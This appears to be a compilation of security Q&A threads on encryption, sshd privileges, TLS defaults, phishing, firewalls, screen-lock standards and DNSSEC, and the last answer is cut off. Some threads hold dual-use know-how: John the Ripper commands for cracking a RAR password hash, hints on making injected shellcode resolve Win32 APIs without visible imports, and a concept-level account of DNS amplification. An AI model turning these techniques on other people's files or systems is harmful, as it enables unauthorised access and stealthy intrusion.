Can someone help? How I can secure certain files/directories for such instances that the computer is stolen/hacked because even if I encrypt them, certain I use often, make changes, once decrypted, they are exposed even after they are encrypted again?
If this is a known topic, I do apologize and please send me to appropriate places to learn (but I really did not find any information on how to work with encrypted files, also I am not a developper or system programmer so I need something less obscurely written).

There are several strategies:

You can set up a ramfs/ramdisk for temporary area to decrypt your data. When using this strategy, you'll need to research carefully that any programs you use to decrypt/encrypt and edit your files don't make any temporary files outside of your ramdisk area.
You can set up a full system encryption. With this scenario, any persistent storage attached to this machine are encrypted, so you'll never leave any trace of unencrypted data. This is a lot easier to manage than ramfs/ramdisk, but requires significant initial setup.
Use a Live CD. Most LiveCD set up are configured so any writes you do to the files are done on an overlay ram-based filesystem. When using this strategy, take some extra precautions and mount all other persistent storages as read only.


what are the disadvantages of running SSH daemon without root? Is there any risk in running ssh daemon with no root privilege using this method: how-can-i-make-this-daemon-init-run-as-a-non-root-user?

Debian Developer's Best Practices for OS Security says the same thing:

  • Starts the daemon dropping privileges: if the software does not do the setuid(2) or seteuid(2) call itself, you can use the --chuid call of start-stop-daemon.

securing-debian-howto

It's easy and gave a good layer of protection, but I can't find any info about applying this method to sshd, and it seems that nobody do this!, why? is there any risk to use this with ssh daemons? does sshd need root for something?
I tested in my environment and I had no problem at all! why nobody talk in there guides about this gem?

I already know that I can t bind with ports less than 1024 without root, and I don't need to, I m the only admin of this VPS so the only one who will run the sshd.
What's the worst that could happen?

The sshd is commonly installed on a system to let users log into this system from remote. To be able to do this at least parts of it would need to run with elevated permissions because otherwise it would not be able to check users against a local password database, access the key information (like authorized_keys file in OpenSSH) for key based authentication and finally being able to login as the specific user.

But, if all you need is to have a sshd running in order to be able to login as a single specific user with key based authentication these problems should not matter. But what matters in this case is that everything is run as the same user account in this situation and thus bugs in any component of the sshd can fully affect this single user. If you compare this with the privilege separation architecture of the OpenSSH server then you will see that it runs critical parts with very low privileges and sandboxed so that a bug in these components have only a low impact. This kind of privilege separation is weakened if everything is run as the same user which means that this setup might provide less security compared to the common setup.


How to really identify malware (virus)? How could we really know if a software is a malware (virus), for platforms like Windows or Android? How to identify it automatically if we do not have predefined datasets?

For example, when the software sends users' private information to a remote server (either encrypted or not), or requests some permissions; how could we know if the software really needs to do this, or just because it is a malicious behavior?

Similar things like updating system resources, show some windows, etc.

How could we really know if a software is a malware (virus), for platforms like Windows or Android?

Just by looking at it? It'd be probably difficult. If you go deeper and look at your Task manager in Windows and list of apps in android, and see something that shouldn't be there, probably you might find it. If you dive further and analyze packets of data using, say, Wireshark, chances are high you might find it. Please note that none of this is sure shot way of finding the "malicious" app.

Regarding Android, if you download an app for flashlight, and it requests permissions to access your files, or access to your contacts/messages, or if it's sending huge data to some server, you should look at it with suspicion.'

Again, there's no sure-shot way of finding if you've been infected. Although there are some common signs like unexpected rise in data bills, sluggish performance, uncanny behavior of device, but none of them can guarantee that your device is infected.

If you believe that your device is infected, please have a look at this answer


Why would one disable a new TLS version by default? I saw today that TLS 1.1 and 1.2 are not enabled by default in Windows 7 and Windows Server 2008. They can be enabled after an optional update, and after setting a registry key.
Why? Negotiating the TLS version is supposed to find the highest version supported by both parties. What harm does automatically supporting a new version bring? Why would an app explicitly specify the versions to use instead of the future-proof "whatever the underlying crypto library uses"?
I kind of understand disabling by default draft protocols (to avoid making these draft versions a de facto standard). But the Windows update was released in 2016 and TLS 1.2 in 2008.

I believe the reason for not enabling support for TLS1.1 and TLS1.2 in a TLS client by default was widespread TLS version intolerance among the installed TLS servers at the time. As Adam Langely (person in charge of server and client (Chrome and Android) TLS stack in Google, forker of OpenSSL into BoringSSL and author of Go's TLS stack) wrote in 2011:

Despite it being nearly twelve years since the publication of TLS 1.0
[RFC2246], around 3% of HTTPS servers will reject a valid TLS
"ClientHello".  These rejections can take the form of immediately
closing the connection or a fatal alert.  Intolerance to the
following has been observed:
Advertising version TLS 1.0.
Advertising a TLS version greater than TLS 1.0 (around 2% for 1.1
or 1.2, around 3% for greater than 1.2).
Advertising a version greater than 0x03ff (around 65% of servers)
The presence of any extensions (around 7% of servers)
The presence of specific extensions ("server_name" and
"status_request" intolerance has been observed, although in very
low numbers).
The presence of any advertised compression algorithms

This issue with TLS version intolerance caused browsers to fallback retry, which caused Adam Langely to invent SCSV to protect against downgrade during fallback. TLS 1.3 had issues with proxies and switched the version negotiation mechanism to work differently and left two wasted bytes in the TLS record to say "TLS1.2", fixed forever.
To try to combat ossification and intolerant servers being deployed, Google's David Benjamin introduced GREASE, a system that injects fake never-allocated identifiers into options lists in TLS ClientHello to force TLS servers to correctly implement the required "disregard unknown values proposed by client and continue with the known values" behavior.


Is it a coincidence that I received phishing emails for PayPal after I made a large deposit? I recently made a very large deposit into a PayPal account. Not long after (a day or two), I have received phishing emails to steal my PayPal information. The deposit came from eToro (I pulled out some investments) and I received an email confirming the amount. I suspect that something saw the email and is now trying to get my funds. Is this a coincidence or a sign that I have an infected device?

I don't think that they specifically targeting your account. PayPal phishing is actually common place. If you did not receive any before you might have just been lucky that your email was not publicly known yet or did not make it to the ones which send these phishing mails.

It might also be that your spam filter hid previous PayPal phishing mails from you. Many of today's spam filters actually automatically adapt to the kind of mails you consider spam or non-spam and having many non-spam mails with "PayPal" in it might have caused the spam filter to consider the phishing mails with a similar content now as relevant to you too.


"No password hashes loaded" John does not recognise my hashes I am trying to learn how john works. I made a password-protected rar archive, and written that password inside a file named pass.txt.

I used rar2john to build the hash:

# more test.hash
test.rar:$rar3$*0*c15839e058bb28a3*9d55925bdd33618f3e02f8b7004faab8

However, when I try to run john, I get an error message:

# john --format=rar --wordlist=pass.txt test.rar
Warning: invalid UTF-8 seen reading test.rar
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)

I tried with and without the --format and --wordlist options.

I read John The Ripper's FAQ but nothing helped me.

I saw that the format rar was supported on Pentest Monkey. I even tried the example they gave, but john keeps telling me the same thing.

Any idea?

john --format=rar --wordlist=pass.txt test.rar

You're telling john to look in the original .rar file for password hashes.  John the Ripper does not understand how to parse .rar files (that's what rar2john is for); you need to pass the file containing the extracted password hash:

john --format=rar --wordlist=pass.txt test.hash


Is google.com/webhp malicious? Lately, I've noticed the addition of "/webhp" in the url of Google searches along with some additional variables, "sourceid", "rlz", and a few others.  Together, they make a URL in the form of https://www.google.com/webhp/...  In addition, this only happens when searching from the Omnibox.  Going to google.com and searching with the input field within the page creates a different URL.

Is this the result of some sort of virus?  I've seen explanations for both sides.  The explanations toward the malicious end suggest that it's because of the (possibly unintentional) installation of a "Conduit" search toolbar.

At any rate, I've checked all of my cookies, extensions, toolbars (none), registry, and installed programs as directed by various removal sites but nothing seems to suggest that I have this "Conduit" search bar or anything related.

Windows 7,
Chrome 38

No, it's not malicious.

From what I've looked into, it's rather widespread, and seen on PCs that have no indication of infection.

If you open Chrome and go to chrome://settings/searchEngines, you'll see the Query URL for Google.  It'll probably look like "{google:baseURL}webhp/".

If it was going to a different domain, it might be worth more investigation, but your query is still going to Google's server.  Unless Google's search was somehow compromised (seriously doubt it), you have nothing to worry about.

Please ignore the fearmongering from the general public.  I've seen a ton of pages talking about the "webHP virus".  These are unfounded, and written by people that don't understand what they're talking about.


How to prevent exam cheating in computer labs using remote access software My home country trying to crack down on corruption in government job examination cheating. However, some party was able to bribe the lab that conducted the exam and put remote access software into the computer, such as TeamViewer to allow a third party to "help" designated candidates.

In my opinion, it is not possible for the government to check each computer deploying the cheating software.  This is unfair as students who pay the bribes are able to get a job by passing the exam by cheating with flying colors, while the poor students who work hard for two to three years are left without a job.

I met a local police officer who told me that the country is making every effort to stop it but are not able to succeed.

Is it possible to block some port from lab local router?  Or it is possible to blacklist all traffic except the examiner server connection? In one lab there are 200 or 250 computers. Or is there a way to stop those remote access software or prevent installation?

This type of thing is solved by configuring a firewall to block the connections. But the lab runs the firewalls. So, there would have to be government-managed firewalls for this solution to have any integrity.

The same problem applies to trying to prevent installations. Whoever can physically touch the machines, owns the machines. The government would have to run these labs.

The one thing that could be done is to work with ISPs to monitor and report on these labs when there is unauthorised traffic. This would invalidate the lab and the exam results, but the students who paid for the exam might end up losing their fees.


Best beginning programming language for someone interested in IT security Backstory:

At the moment I'm someone with very limited knowledge on computers and programming, but I would like to change that. I have discovered that I'm mainly interested in IT security and that I would especially like to learn more about that (not going to deny that Skyfall didn't have a part in this, but that's certainly not the main reason) as opposed to for example game/app development and such. I don't know exactly why, maybe it has something to do with the fact that I myself have been a victim of viruses and phising a couple of times.

Question itself:

I have recently decided that I would like to learn my first programming language. This decision is seperate from my interest in IT security, but I would like my first language to be the language most useful for someone who wants to learn more about IT security. I feel this would be killing 2 birds with 1 stone. What would this language be and why?

To really understand IT security (and, more generally, computers), you will have to know how things go inside, so, sooner or later, you will have to learn assembly for one or two architectures (preferably more than two). The low-level exploit codes (e.g. for buffer overflows) don't make sense unless you know assembly. Then move on to C, which is very widespread and a usual target for such exploits. C is easy to learn if you know assembly. Once you know assembly and C, you can learn more complex languages (e.g. C# or Java); your understanding of the inner workings of the machine will guide you through the most "magical looking" features of such advanced languages. Following this path, you may then try scripting languages, where each language element hides an awful lot of computations.

This learning order, from low-level to high-level, is an ideal; I have yet to meet a single person who strictly adhered to it. In my own learning path, I started with Basic ("version 1.0", from 1984) and then switched to assembly (on a 6809E CPU) because Basic was really too slow on my machine (a 1 MHz CPU does not have a lot of muscle). Later on, I learned Pascal, then C, and some more assembly. Afterwards, I did a lot of C, I touched many other languages (e.g. Caml, PostScript, Prolog, Objective-C, C++), some scripting (Unix sh, Perl...) and even more assembly (on several distinct architectures). Even later on, I did a lot of Java. Also tried Forth, Scheme, some more assembly. Lately, I have done some C# (which is very similar to Java), PowerShell, and suffered from an outbreak of VB.

What is to remember is that every language has its quirks; you will achieve the programming equivalent of enlightenment if you can see beyond the particularities of any specific language, and concentrate on the underlying algorithmics. Knowing a lot of languages and architectures will help you greatly. It will also highlight what language features are especially "dangerous" to use, by which I mean prone to trigger exploitable weaknesses. Conversely, if you stick to a single language, then you will only be a mediocre practitioner of programming and IT security.

Other learning paths exist and some people are happy with them. Many apprentice programmers begin with something high-level like Python and only later on try to see "under the hood" how the computer really does things. I tend to favour the low-to-high path because it is similar to the path that I followed myself, but there is no absolute necessity in that.


Can webpages using the Google plus button get my name? When I'm logged into my Google account, and I visit a web page that contains the Google Plus "+1" button, does a script have access to my name, even if I don't interact with the Google Plus widget?

No, the page you access does not get your name or any other data from Google.

If you have a close look the button is in an iframe. An iframe is technically like a webpage in another window. Because of the same origin policy those pages can not interact with each other.

The only way the page can get personal information about you is over the Google API. Like if you login to this page using your Google account they can request data about you but this transfer needs to be granted by you.


Pros and cons of my method of storing passwords in plain text files instead of a password manager (on linux) I thought of this way of managing passwords without using an external password manager.

The hard disk is fully encrypted (of course).
The passwords and all the data you need are stored in plain text files, organized however you want.
The directory that contains all the password files is owned by root and nobody else will have permissions to read/write/execute.
You can code your simple custom shell script to get the data from that directory, depending on how you organized your data: the script will need to be run with "sudo" to access the directory, it might grep file titles or contents,  it might even print the passwords invisibly (using terminal escape codes), etc. Whatever you want.
The backups of the passwords will simply be mane together with the backups of the rest of your HDD, on an external medium that will be fully encrypted like your HDD (of course).

PROS compared to password managers:

It's simple and customizable. You don't need to rely on any external tools or applications that: might have bugs or vulnerabilities, might be targeted specifically by attackers because they are sufficiently popular, might not be flexible enough if you want to organize or access your data in a different way, might stop being maintained, might leave you with formats difficult to handle/convert in the future, etc.
You can really rely on one single password to be able to remember all the others, because in case of "trouble" you would only need to remember the password to decrypt your HDD (or your HDD backups, which is the same data and so can use the same password) to be able to recover all your passwords. With a password manager instead, you would have to remember the password for your HDD encryption AND the password of the password manager... unless you backup your password manager data separately on non-encrypted media, or use the same password for your HDD and your password manager (and I personally wouldn't like to have to type the HDD password multiple times during a session increasing the probability it is stolen, instead of just typing it at boot).

CONS compared to password managers:

It doesn't have auto-type capabilities. Which might not always work anyway, and then there's always the argument "if your system is compromised with malicious code running on it, then it's all speculation". For example I wonder how difficult it is for a simple malicious application to just pretend it's a fake copy of your password manager and steal your master password (and then read all your passwords from the database and "call home").
No synchronization with other devices. Which by the way would imply that your data has to leave your devices and is sent/copied to a server, and not everybody would want that (I wouldn't).

Is there anything wrong with my reasoning? Are there any other important pros or cons I should be aware?

It always comes down to threat models. What kind of attacks are you trying to stop?

The biggest problem I see with this approach is that it relies on disk encryption for the data-at-rest in the file, which is essentially lifted as soon as the user logs in. Now, your plain text passwords are only protected by your OS root file system permissions.

As a normal user, you browse a website and get a drive-by download which can execute code as your normal user. It is now inside the encryption perimeter. Any local priv-esc can now dump your password file.

The encryption "gate" is tied to your user login, so any process running as you is already past that step.

What you list as a "pro" for security, I'd put in the "con" category:

  (and I personally wouldn't like to have to type the HDD password multiple times during a session increasing the probability it is stolen, instead of just typing it at boot).

I'd think typing it multiple times, once per time you need to access the secure contents, would increase your security. Think of it like a timeout on access to your secrets. If you stay logged in, that plaintext password file is only being protected by OS file perms. You could walk away and leave your screen unlocked, or someone could just steal the laptop.

The point is, data is decrypted as long as you are logged in.  The bother of multiple entries of your master password gets you access to just the secondary credentials you need, when you need them, and no more. They otherwise remain encrypted.

Your system is probably just fine in practice, but there is a difference. That's why I said it really depends on your threat model.


Does having a minimum number of digits improve password security? Some password systems will enforce at least X of a type of character - a common one I see is 'minimum 3 numeric characters'. As far as I understand, simply allowing certain character classes, like numerics, greatly increases the password space (e.g. (26*2)+10 possibilities for each case-sensitive alphanumeric character vs (26*2) for only alphabetic), so I don't see how having a minimum 3 digits does anything to improve password security/entropy.

My guess is that it's simply there to enforce some variety in the passwords so that users don't just use plain dictionary words.

Is my thinking correct? Are passwordABC and password123 not equally (un)reliable when the available character set is the same? (These contrived examples would probably be tried and found early by any attack, of course)

Or is there some technical reason why a minimum of X digits, special chars, whatever is a good policy?

The security of the password is not really about what the users are allowed to choose, but what the users actually choose on average.

The attacker tries to guess the password that the user chose, and he will do so by trying most probable passwords first. "Most probable" here designates a kind of psychological study that the attacker performs; in plain words, this means that the attacker will try names of famous soccer/baseball/hockey players because many users, left to their own devices, use these names as password.

The ideal user selects his password totally at random, with uniform probability over the space of possible passwords (i.e. all passwords that can be typed in and that the machine will accept). Most users won't do that, though. Even if they can use digits in their passwords, they will prefer not to use digits, if given the choice; because users, like everybody else, try to maximize their own comfort and efficiency, so they want passwords which are easy to type and easy to remember. A full-alphabetic password is easier to remember than a mixed letters-numbers password, and also easier to type, especially on smartphones (e.g. the basic Android visual keyboard shows letters and numbers on separate screens).

A constraint on a minimal number of digits is an attempt at making the users more random: it prevents them from using full-alphabetic passwords, because, when technically allowed to do so, users turn out to rely on very low entropy passwords (the ones which are easy to guess). By enforcing the inclusion of some digits, a sysadmin can push the users (slightly) out of their comfort zone, and force them to choose a password where a simple soccer player name is not a valid password.

Done with moderation and taste, this increases security by making passwords, on average, less guessable. Don't put too much hope in it, though: many users will add "111" at the end of their password, and be done with it. The attacker knows that, too. Moreover, the more constraints you add, the more likely is the user to become an enemy. People don't like to be pushed out of their comfort zone. If you shove them too much, they will react quite creatively, for instance by writing done passwords on a piece of paper (hidden, as per immemorial Tradition, under the keyboard -- and the attacker knows that, of course). The users cannot really be blamed for that, but the net effect is that security can decrease when well-intentioned constraints are enforced.


DNS Flood using DNS Amplification? So, a DNS Flood is when you DDOS a DNS Server, and a DNS Amplification is when you use the DNS Server to execute a DOS attack (I think).

Based on recent events (the attack to Dyn's DNS service) I was wondering:

Could a DNS Amplification be used to DOS a DNS Server?
[DNS Server A] attacks [DNS Server B] which attacks [DNS Server C] and so on...

Would it not work because of the different protocols? (TCP and UDP)

(Sorry if I am posting on the wrong forum or if I am missing something really simple)

So, a DNS Flood is when you DDOS a DNS Server, and a DNS Amplification is when you use the DNS Server to execute a DOS attack (I think).

DNS Flood - Sending a lot (lot means really lot; may be millions or even more) of queries (mainly random queries) to the DNS server with the intention of bringing down the services is a DNS Flood.
As DNS queries are mainly of UDP in nature (except DNSSEC or Zone Transfer or few others) and spoofing UDP packets is not a rocket science; so we can consider DNS Flood can be achieved easily.
There are multiple methods available for the DNS administrator to protect the resources from flood attack like- Rate Limiting, running servers in anycast mode and many other.

DNS Amplification - In this, attacker use to flood the victim machine/bandwidth through the DNS answers, which are replied by the OpenResolvers.
In nutshell, attacker use to send the random queries to the millions of OpenResolver, with the source IP of the victim (as packet is udp, so spoofing an ip address is not a challenge). OpenResolver in turn replies and answer is sent to the victim.

  Could a DNS Amplification be used to DOS a DNS Server? [DNS Server A] attacks [DNS Server B] which attacks [DNS Server C] and so on...
  Would it not work because of the different protocols? (TCP and UDP)

As explained above, In a DNS Amplification attack,

Attacker [having ip address 1.1.1.1], use to send DNS queries [having ip address 2.2.2.2]
In DNS packet, Src IP address is of victim's address [lets say 3.3.3.3]
DNS Server on receiving the query [having ip 2.2.2.2] will reply to victim [3.3.3.3]
Although victim [3.3.3.3] didn't ask for any dns record from [2.2.2.2] but it is getting the packets

Now, suppose a case where millions of OpenResolvers are sending DNS responses to the victim. This attack will have a potential to choke the victim's bandwidth along with choking the memory and processing capabilities.

Achieving a chain type of attack through DNS Amplification is difficult to achieve and chain length can be of 2 to 3 nodes only AND this too will not be able to generate to lot of amplification to bring down the service.


UFW Blocks some IPs which are trying to attempt a connection to the server UFW Blocks some IPs which are trying to attempt a connection to the server.
I checked most blocked IPs in abuseIPD website and all blocked IPs are reported for brute force attack and/Or ssh spamming in past 24hrs.

Sample Log:

[UFW BLOCK] IN=eth0 OUT= MAC=xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx SRC=189.173.30.x DST=xx:xx:xx:xx LEN=52 TOS=0x00 PREC=0x00 TTL=53 ID=52308 DF PROTO=TCP SPT=52572 DPT=1557 WINDOW=1445 RES=0x00 ACK FIN URGP=0

What are my questions

1) Is the server under attack?

2) If yes,How does UFW distinguish dangerous IPs from normal ones?

3) What should i do for greater security?

Simple answers:

Is this server under attack? No more than any other server on the internet.  This is just the background noise of the internet.  In short, any computer that is accessible to the internet will find itself being regularly scanned by various bot nets for many different reasons.  All the more reason to keep your servers secure.
How does UFW distinguish dangerous IPs normal ones? I don't specifically know about UFW, but there are two simple ways to identify malicious IP addresses: because they are sending malicious traffic, and because they have been reported as being malicious in intent (basically, by checking services just like you did).
What should I do for greater security? All the usual things: make sure the only open ports are the necessary ones, harden your server appropriately, and keep vulnerabilities out of your applications.  This question is too broad for a better answer that than.


Access Controls on employees handling credit card data Employee has access to image format of full credit card data on an application (primary account number, cvv, expiry code, name).  He copies from this application and enters manually to another application which has truncation enabled.

What level of restrictions can be enforced on employee from mishandling or copying the data or memorizing the card data.

Once an employee has access to this data, you cannot actually control what they do with it. There are useful restrictions, such as:

disallow phones or camera devices
disallow taking papers home
strongly restrict what their computer can access

As well as wider controls such as:

employee vetting
contracts that include major disciplinary repercussions

But you need to accept the risk can not be 100% remediated.


Better way to import Win32 APIs from injected shellcode I'm injecting native x86 code into a .NET application, via a TLS callback in the binary image. Unfortunately, .NET executables only import mscorlib.dll within the PE, and have kernel32.dll mapped automatically into the memory space at runtime. I don't want to inject any imports. This makes finding the addresses of LoadLibrary and GetProcAddress awkward.

My first thought for a solution was to find the PEB via mov eax, dword ptr [fs:030h], then load PEB->Ldr and PEB->Ldr.InMemoryOrderModuleList.Flink from there, and use them to find the module in memory. From there I could grab the base address of kernel32.dll in memory, and offset to the PE header and export directory RVA. From there I could scan through the import entries for the export by name, and find the address.

This has the following problems:

Lots of code for something as trivial as an API call.
ASCII string that represents the API name would have to be embedded in the code.
Caching the found addresses across a long runtime / multiple threads is awkward.

Is there a cleaner way of doing this that solves these problems, without resorting to import injection? Keep in mind that I can't change the EP of the image, because the CLR relies on the EP being a jump to the managed IL.

There's a good way to solve problems (2) and (3) in the described manual binding process but I'm reluctant to publish good and elaborated public tutorial about designing shellcode here on StackExchange. ^_^ So, there's a hint for you of using crcs for (2) and indirect calls for (3) - you seem familiar enough with the manual binding process to deduce the exact way of applying these two concepts.

Regarding (1), is not a problem but an incorrect assumption: binding exports to imports and providing a programmer ability of calling system API is not trivial by whatever mean. The question is just who'll do all the dirty work. As soon as you reject Windows linker's service for its reliance on plaintext names, you're on your own to implement the dirty details by your own way.

Import injection seems to be the most clean way as you modify the binary anyway, but it adds plaintext API names, so I guess because of that is out of your consideration.


Clarifying MITM attacks and Digital Certificate requirement We are running a Portal application for our client with Payment Gateway integrated. Payment gateway uses SSL as it is suppose to be .

The concern for me is that our Portal application does not use HTTPS leaving it susceptible to MITM attacks but since the payment gateway uses SSL , are we still open to MITM attacks? What are the other risks involved ?

Based on the suggestions here , I will try to convince our client to buy a digital certificate from a registering certifying authority if it is needed .

It's often not only the case that "payment information" is the only sensitive information.  If your portal requires some sort of "login" (which it undoubtedly does), you allow many parties in between (Internet Cafe owners, ISP's, "hackers", employers, govermenments, ...) to see these credentials and take over the account.

If your portal has anything in terms of recurring payment what they can setup from your unsecured side, or any requests that would affect the subjects account, you offer no protection towards that.

SSL certificates and the benefits they offer (even if it's just a professional and trusted image) far outweigh the cheap price.


Why are PSTN lines not encrypted? While reading this article:  Does Skype use encryption?
I came to know that PSTN do not have encryption.

Why it is like that? More so since we have our PSTN phones now more powerful (in terms of hardware) and cheaper. Why not write a  encryption application at the transmitter and receiver end?

Telephones are not encrypted because back in the late 1800s, when telephone systems were being developed, any sort of encryption was far beyond the capability of the hardware, even if it had been something that people would have thought important.  Since then, compatibility with existing hardware has been considered more valuable than protection against eavesdropping -- listening in on a PSTN conversation requires physical access to the wires involved, and is difficult for anybody other than the phone company to do.

That said, there are encryption-like devices for telephones known as scramblers, originally developed around the time of World War II.  Modern scramblers are every bit as good as other encryption systems.


what is the vulnerability if the DCE service on remote port is enumerated? when I scan my server using nessus, one of the result is as follows:

  By sending a Lookup request to the portmapper (TCP 135 or epmapper
  PIPE) it was possible to enumerate the Distributed Computing
  Environment (DCE) services running on the remote port.

  Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.

My doubt is whether an attacker can initiate any attack using this type of enumeration?

If there are any vulnerabilities on the services that the DCE portmapper advertises, then the attacker could use these services to exploit the machine.

Also, if there are any accounts with weak passwords setup on those services then you should be concerned.

Nessus will scan the former, assuming those ports are in scope, and the latter will come down to the security of individual accounts on the machine or its domain.

So in itself it isn't a vulnerability, however you should only expose port 135 to trusted networks. It is a bad idea to have this port exposed to the internet because it increases the attack surface, and could leave you vulnerable in the case of future weaknesses found in this service or the ones that it allows enumeration of.


DNSSEC: Does the algorithm of the ZSK need to match the algorithm of the KSK? I am in the process of setting up DNSSEC for my domains. Initially I was going to go with algorithm 13 (ECDSA-P256-SHA256), but it seems that dyn.com doesn't allow me to add a DS record with an algorithm value of 13. (Would love some insight as to why they prevent this)

I figured, hey, no matter, there are two keys, right? I could have the KSK be algorithm 8 (RSASHA256) and keep the ZSK as algorithm 13. The ZSK is the one making most of the signatures anyway, so that is where the big win would be.

But it seems like dnssec-signzone was giving me a lot of grief. I eventually got it to seem like it worked, but dnssec-verify seems to consistently give me the following error:

$ dnssec-verify -o example.com example.com.db.signed
Loading zone 'example.com' from file 'example.com.db.signed'
Verifying the zone using the following algorithms: RSASHA256.
Missing ZSK for algorithm RSASHA256
Missing self-signed KSK for algorithm ECDSAP256SHA256
No correct RSASHA256 signature for example.com SOA
No correct RSASHA256 signature for example.com NSEC
The zone is not fully signed for the following algorithms: RSASHA256 ECDSAP256SHA256.
dnssec-verify: fatal: DNSSEC completeness test failed.

So, my question is:

Is it legal with DNSSEC to have differing algorithms for the ZSK and KSK? If so, how can I sign verify the zone using the standard bind DNSSEC tools with such a configuration?

It is not legal. The rules for zone signing were clarified in RFC 6840 because the original RFC was quite terse:

  The zone MUST also be signed with each algorithm (though
  not each key) present in the DNSKEY RRset.

Since both the KSK and the ZSK are included in the zone's RRset, in practice this requires that the ZSK and KSK use the same algorithm (or rather, that there is a matching ZSK for every KSK algorithm).

Note that the following paragraph explains that these requirements apply to DNS servers only; resolvers (validators) are instructed to accept any valid signing path.


How does firewall differentiate between browsing and downloading? The firewall installed at my college's router allows me to surf the internet but never allows me to download any package that has a size more than 100mb. I wonder how exactly does it differentiate between the two. According to my concept, they're both a flow of http packets so they should not be differentiable.

Furthermore, If I start downloading from proxysite.com (it encrypts all the traffic), the firewall couldn't differentiate and allows me to download even tens of GBs of data. Can you explain what exactly is going on here?

The firewall installed at my college's router allows me to surf the internet but never allows me to download any package that has a size more than 100mb. I wonder how exactly does it differentiate between the two. According to my concept, they're both a flow of http packets so they should not be differentiable.

I presume they are intercepting your traffic and basing this filtering off the HTTP header Content-Length or dropping the connection after so many bytes.

  Furthermore, If I start downloading from proxysite.com (it encrypts all the traffic), the firewall couldn't differentiate and allows me to download even tens of GBs of data. Can you explain what exactly is going on here?

This would seem to reinforce my very-likely theory. If a site were using HTTPS, they would not be able to intercept the header or otherwise see what you are doing with a server without first installing a root certificate on your machine to MITM the HTTPS traffic.


Which security standards define the time of inactivity before locking the screen Security and usability are often colliding. When it comes to locking screens on workstations after a certain amount of inactivity this is definitely the case and complaints have to be expected from end users.

As far as my experience goes, locking the screen on a workstation after 10-15 minutes is considered best practice. To enforce such a policy it would help to reference an established security standard that says the same. Unfortunately I have only found standards so far that mention screen locking as a must, but do not suggest appropriate values for "time of inactivity before locking".

Is there any established standard I can reference? It would be especially nice if there would be 2 values, one for workstation use inside the company and one for laptop users who work on the road or the home office.

The large standards (ISO, NIST) tend toward one-size fits all, the real intent is to promote careful consideration, and deliberate and informed decision making. Specific values such as these are a property of a good policy implementation, the slightly abstract standards tend to only recommend maxima or minima, if even.

Such a "control" is typically assigned a persistent, unique identifier by a particular standard, the common ones are suitable here are AC-11 and SC-10 (from NIST SP800-53(PDF) ) and FTA_SSL (from ISO/IEC 15408, aka Common Criteria for Information Technology Security Evaluation, "FTA" is the class of access control, "SSL" refers to session locking).

Roughly from more-specific to less-specific:

OMB M-06-16 (PDF) U.S. Presidential Memorandum Protection of Sensitive Agency Information

   3. Use a "time-out" function for remote access and mobile devices requiring user re-
    authentication after 30 minutes inactivity; and

Australian DSD Information Security Manual 2013 Controls
Session and Screen locking, Control 0427

  · configure the lock to activate either:

  after a maximum of 15 minutes of system user inactivity
  if manually activated by the system user

(see also control 0428 which states 10 minutes for "confidential" and "secret" levels).
Unchanged in 2014 edition.
U.S. CNSS CNSSI-1253 Security Categorization And Control Selection For National Security Systems

Control AC-11 Session lock

  ...not to exceed 30 minutes

NIST SP800-53 Recommended Security Controls for Federal Information Systems and Organizations

NIST SP800-46
Guide to Enterprise Telework and Remote Access Security

Control AC-11 Session Lock:  Timeout is "organization defined"
(See also Canadian ITSG-41)
Control SC-10 Network Disconnect

SP800-46 suggests 15 minutes as appropriate for remote access (page 4-3)
PCI-DSS v2

  8.5.15 If a session has been idle for
  more than 15 minutes, require the user
  to re-authenticate to re-activate the
  terminal or session.

(in v3 the requirement has been renumbered to 8.1.8, but otherwise unchanged)
and

  12.3.8 Automatic disconnect of sessions
  for remote-access technologies after a
  specific period of inactivity

U.S. FBI/DoJ CJISD-ITS-DOC-08140-5.2 Criminal Justice Information Services Security Policy

  5.5.5 Session Lock

  The information system shall prevent further access to the system by initiating a session lock after a maximum of 30 minutes of inactivity, and the session lock remains in effect until [...]

ECMA ECMA-271 Extended Commercially Oriented Functionality Class for Security Evaluation

  7.4.1.8 Session lock or terminate
         The TOE shall support a session lock. The TOE shall provide an idle process   monitor for each front-end
         which inhibits after a customer defined amount of time user interactions except user authentication.

Rather old (December 1999) the same time frame as ISO/IEC 17799:2000, sadly never updated by ECMA. TOE is Target Of Evaluation, some Common Criteria terminology.
ISO 27001:2005(E)/ISO 27002:2005(E)(see this document for a useful overview)
Control A.11.3.3 Clear desk and clear screen policy
§11.3.3.3

  The clear desk and clear screen policy should take into account the information classifications (see 7.2), legal and contractual requirements (see 15.1), and the corresponding risks and cultural aspects of the organization.

See also §11.5.5 Session time-out
Council On CyberSecurity Critical Security Controls v5.1

  CSC 16-6 Configure screen locks on systems to limit access to
          unattended workstations.

CERT Knowledge and Information Management (KIM)
KIM:SG4.SP2 Control Access to Information Assets

  [...] The organization must decide upon the right mix of controls to
  address the various forms of the information asset and any special
  considerations of the asset.

There's absolutely nothing wrong with using your own values once you have properly defined your risks and requirements, and documented the decisions. You may even decide on session lock exemptions (e.g. in the case of air traffic control, or locations with enhanced physical security), or mandate proximity devices.


Questions regarding DNSSEC Until now I understood the following about DNSSEC:

A client requests a certain Domain let's say google.se
The root server sends the client his public KSK and public ZSK signed by his private KSK so the client can verify the DNS root server by checking the signature using the public KSK which he knows
Then the DNS root server sends the client the name and address of the se DNS server. Additionally he sends the client a hash of the name and the public KSK of the se DNS server signed by the root DNS server's private ZSK

Why does a ZSK exist at all? Could they not use only the KSK?

How does the client receive the public KSK of the se DNS server if he retrieves it only hashed?

You can only use one key to sign the data…

… However, it's way more convenient to use 2 pairs of key (ZSK & KSK). There are 2 important points to take into account:

You need to regularly refresh the key (ZSK) used to sign the records. (For security reasons.)
You need to be sure that the DS record in the parent zone corresponds to the key used in the aforementioned zone.

This is very important, any error in the key rollover process would result in a total failure. And each time you would renew your ZSK, you would need to update the parent zone. This is why a KSK is used. This key will only be used to sign the ZSK (and itself). The DS record in the parent zone should correspond to that KSK. You don't need to renew the KSK as often as the ZSK.

The cool thing is that, with these 2 keys, you can renew the ZSK without updating the parent zone! To summarise briefly, you need to:

Sign the records with the new ZSK.
Sign the new ZSK with the current KSK.

As long as you don't change the KSK, you don't have to change the DS record in the parent zone.

The KSK of the .se zone is sent by the .se nameservers. The hash is sent by the parent zone, the root's nameserver in that case.

Here's briefly how DNSSEC works:

The resolver gets a record, along with its signature (RRSIG) signed with the zone's ZSK.
